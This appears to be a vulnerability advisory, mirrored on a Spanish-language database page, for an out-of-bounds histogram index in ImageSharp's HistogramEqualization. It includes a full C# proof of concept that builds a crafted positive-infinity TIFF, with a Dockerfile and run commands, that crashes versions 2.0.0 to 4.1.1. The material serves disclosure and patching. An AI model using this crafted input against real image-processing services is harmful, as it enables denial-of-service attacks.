ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
Summary
SixLabors.ImageSharp can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies
HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.
This report covers HistogramEqualization only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 2.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release.
Details
ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.
The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.
Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), DockerReproduction
Build the supplied Dockerfile and run the exploit. The harness creates a valid
8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,
decodes it through the public API, and invokes HistogramEqualization().
Observed result:
mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133The control is identical except samples are 0.5:
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0When the same exploit binary was invoked through a shell inside the container,
the shell printed Aborted and reported status 134. The direct docker run
result above is the result for the supplied Docker commands.
No active exploitation is known.
Complete PoC files
Program.cs:
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;
static class Program
{
private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
{
ifd.AddRange(BitConverter.GetBytes(tag));
ifd.AddRange(BitConverter.GetBytes(type));
ifd.AddRange(BitConverter.GetBytes(count));
ifd.AddRange(BitConverter.GetBytes(value));
}
// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
private static byte[] BuildTiff(float sample)
{
const int width = 8;
const int entries = 10;
const int ifdOffset = 8;
const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
List<byte> ifd = [];
ifd.AddRange(BitConverter.GetBytes((ushort)entries));
const ushort Short = 3, Long = 4;
AddEntry(ifd, 256, Long, 1, width); // ImageWidth
AddEntry(ifd, 257, Long, 1, 1); // ImageLength
AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample
AddEntry(ifd, 259, Short, 1, 1); // Compression = none
AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero
AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets
AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel
AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip
AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts
AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float
ifd.AddRange([0, 0, 0, 0]);
file.AddRange(ifd);
for (int i = 0; i < width; i++)
{
file.AddRange(BitConverter.GetBytes(sample));
}
return file.ToArray();
}
private static void Main(string[] args)
{
string mode = args.FirstOrDefault() ?? "exploit";
float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
byte[] tiff = BuildTiff(sample);
Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");
using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
image.Mutate(x => x.HistogramEqualization());
Console.Error.WriteLine("completed");
}
}Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]Run:
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc controlSoftware afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| .NET (NuGet) | SixLabors.ImageSharp | >= 2.0.0, < 4.1.2 | 4.1.2 |
Referencias
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j3p4-wp97-rph4
- https://nvd.nist.gov/vuln/detail/CVE-2026-106113
- https://github.com/SixLabors/ImageSharp/pull/3187
- https://github.com/SixLabors/ImageSharp/commit/c4c4bf292298c026df470db1a17ff826515fd95d
- https://github.com/SixLabors/ImageSharp
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-787- Plataforma
- .NET (NuGet)
- Paquete
SixLabors.ImageSharp- Publicada
- 07.10.2026
- Actualizado
- 11.10.2026 11:23
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-j3p4-wp97-rph4 - CC BY 4.0
Historial de vulnerabilidades: SixLabors.ImageSharp
Todas las vulnerabilidades publicadas de este paquete (.NET (NuGet)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 14
- Primera → última
- 03.2024 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 7
- Media 7
Divulgaciones por año
- 2024: 5
- 2025: 2
- 2026: 7
-
ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index esta entrada
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